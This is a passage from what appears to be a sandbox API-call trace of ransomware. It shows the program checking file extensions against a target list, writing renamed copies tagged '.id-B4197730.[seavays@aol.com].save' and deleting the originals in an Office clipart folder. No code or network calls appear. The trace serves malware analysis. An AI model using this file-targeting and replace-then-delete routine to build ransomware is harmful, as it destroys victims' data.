Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0076.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0076.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0076.160] lstrlenW (lpString=".doc") returned 4 [0076.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.161] lstrlenW (lpString=".docx") returned 5 [0076.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.161] lstrlenW (lpString=".pdf") returned 4 [0076.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.161] lstrlenW (lpString=".xls") returned 4 [0076.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.161] lstrlenW (lpString=".xlsx") returned 5 [0076.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.161] lstrlenW (lpString=".ppt") returned 4 [0076.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0076.161] lstrlenW (lpString=".zip") returned 4 [0076.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.161] lstrlenW (lpString=".rar") returned 4 [0076.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.161] lstrlenW (lpString=".bz2") returned 4 [0076.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.161] lstrlenW (lpString=".7z") returned 3 [0076.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0076.161] lstrlenW (lpString=".dbf") returned 4 [0076.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0076.161] lstrlenW (lpString=".1cd") returned 4 [0076.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0076.161] lstrlenW (lpString=".jpg") returned 4 [0076.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.162] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.162] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0076.163] GetLastError () returned 0x0 [0076.163] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x332, lpOverlapped=0x0) returned 1 [0076.680] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x340, lpOverlapped=0x0) returned 1 [0076.681] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.682] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.682] SetEndOfFile (hFile=0x368) returned 1 [0076.682] CloseHandle (hObject=0x368) returned 1 [0076.682] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.683] SetEndOfFile (hFile=0x38c) returned 1 [0076.684] CloseHandle (hObject=0x38c) returned 1 [0076.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0076.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0076.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0076.685] lstrlenW (lpString=".doc") returned 4 [0076.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.685] lstrlenW (lpString=".docx") returned 5 [0076.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.685] lstrlenW (lpString=".pdf") returned 4 [0076.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.685] lstrlenW (lpString=".xls") returned 4 [0076.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.685] lstrlenW (lpString=".xlsx") returned 5 [0076.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.686] lstrlenW (lpString=".ppt") returned 4 [0076.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0076.686] lstrlenW (lpString=".zip") returned 4 [0076.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.686] lstrlenW (lpString=".rar") returned 4 [0076.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString=".bz2") returned 4 [0076.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString=".7z") returned 3 [0076.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0076.686] lstrlenW (lpString=".dbf") returned 4 [0076.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0076.686] lstrlenW (lpString=".1cd") returned 4 [0076.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0076.686] lstrlenW (lpString=".jpg") returned 4 [0076.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.687] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.687] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0076.688] GetLastError () returned 0x0 [0076.688] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0xfc0, lpOverlapped=0x0) returned 1 [0076.690] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0076.691] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.691] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.691] SetEndOfFile (hFile=0x368) returned 1 [0076.691] CloseHandle (hObject=0x368) returned 1 [0076.691] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.691] SetEndOfFile (hFile=0x38c) returned 1 [0076.692] CloseHandle (hObject=0x38c) returned 1 [0076.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0076.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0076.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0076.695] lstrlenW (lpString=".doc") returned 4 [0076.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.695] lstrlenW (lpString=".docx") returned 5 [0076.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.695] lstrlenW (lpString=".pdf") returned 4 [0076.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.695] lstrlenW (lpString=".xls") returned 4 [0076.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.695] lstrlenW (lpString=".xlsx") returned 5 [0076.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.695] lstrlenW (lpString=".ppt") returned 4 [0076.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0076.695] lstrlenW (lpString=".zip") returned 4 [0076.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.695] lstrlenW (lpString=".rar") returned 4 [0076.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.695] lstrlenW (lpString=".bz2") returned 4 [0076.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.695] lstrlenW (lpString=".7z") returned 3 [0076.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0076.695] lstrlenW (lpString=".dbf") returned 4 [0076.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0076.695] lstrlenW (lpString=".1cd") returned 4 [0076.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0076.696] lstrlenW (lpString=".jpg") returned 4 [0076.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0076.697] GetLastError () returned 0x0 [0076.697] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x10f4, lpOverlapped=0x0) returned 1 [0076.699] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1100, lpOverlapped=0x0) returned 1 [0076.701] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.701] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.701] SetEndOfFile (hFile=0x368) returned 1 [0076.701] CloseHandle (hObject=0x368) returned 1 [0076.702] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.702] SetEndOfFile (hFile=0x38c) returned 1 [0076.703] CloseHandle (hObject=0x38c) returned 1 [0076.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0076.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0076.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0076.704] lstrlenW (lpString=".doc") returned 4 [0076.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.704] lstrlenW (lpString=".docx") returned 5 [0076.704] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.704] lstrlenW (lpString=".pdf") returned 4 [0076.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.704] lstrlenW (lpString=".xls") returned 4 [0076.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.704] lstrlenW (lpString=".xlsx") returned 5 [0076.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.704] lstrlenW (lpString=".ppt") returned 4 [0076.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0076.704] lstrlenW (lpString=".zip") returned 4 [0076.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.704] lstrlenW (lpString=".rar") returned 4 [0076.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.704] lstrlenW (lpString=".bz2") returned 4 [0076.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.704] lstrlenW (lpString=".7z") returned 3 [0076.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0076.704] lstrlenW (lpString=".dbf") returned 4 [0076.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0076.704] lstrlenW (lpString=".1cd") returned 4 [0076.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0076.705] lstrlenW (lpString=".jpg") returned 4 [0076.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.705] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.705] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0076.706] GetLastError () returned 0x0 [0076.706] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1bac, lpOverlapped=0x0) returned 1 [0076.707] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0076.709] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.709] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.709] SetEndOfFile (hFile=0x368) returned 1 [0076.709] CloseHandle (hObject=0x368) returned 1 [0076.709] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.709] SetEndOfFile (hFile=0x38c) returned 1 [0076.710] CloseHandle (hObject=0x38c) returned 1 [0076.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0076.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0076.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0076.711] lstrlenW (lpString=".doc") returned 4 [0076.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.712] lstrlenW (lpString=".docx") returned 5 [0076.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.712] lstrlenW (lpString=".pdf") returned 4 [0076.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.712] lstrlenW (lpString=".xls") returned 4 [0076.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.712] lstrlenW (lpString=".xlsx") returned 5 [0076.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.712] lstrlenW (lpString=".ppt") returned 4 [0076.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0076.712] lstrlenW (lpString=".zip") returned 4 [0076.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.712] lstrlenW (lpString=".rar") returned 4 [0076.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.712] lstrlenW (lpString=".bz2") returned 4 [0076.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.712] lstrlenW (lpString=".7z") returned 3 [0076.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0076.712] lstrlenW (lpString=".dbf") returned 4 [0076.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0076.712] lstrlenW (lpString=".1cd") returned 4 [0076.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0076.712] lstrlenW (lpString=".jpg") returned 4 [0076.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.713] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.713] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0076.714] GetLastError () returned 0x0 [0076.714] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1bba, lpOverlapped=0x0) returned 1 [0076.715] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0076.716] ReadFile (in: hFile=0x38c, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.716] WriteFile (in: hFile=0x368, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.717] SetEndOfFile (hFile=0x368) returned 1 [0076.717] CloseHandle (hObject=0x368) returned 1 [0076.717] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.717] SetEndOfFile (hFile=0x38c) returned 1 [0076.718] CloseHandle (hObject=0x38c) returned 1 [0076.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0076.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0076.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0076.719] lstrlenW (lpString=".doc") returned 4 [0076.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.719] lstrlenW (lpString=".docx") returned 5 [0076.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.719] lstrlenW (lpString=".pdf") returned 4 [0076.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.719] lstrlenW (lpString=".xls") returned 4 [0076.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.719] lstrlenW (lpString=".xlsx") returned 5 [0076.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.719] lstrlenW (lpString=".ppt") returned 4 [0076.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0076.719] lstrlenW (lpString=".zip") returned 4 [0076.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.719] lstrlenW (lpString=".rar") returned 4 [0076.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.719] lstrlenW (lpString=".bz2") returned 4 [0076.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.719] lstrlenW (lpString=".7z") returned 3 [0076.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0076.719] lstrlenW (lpString=".dbf") returned 4 [0076.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0076.719] lstrlenW (lpString=".1cd") returned 4 [0076.719] 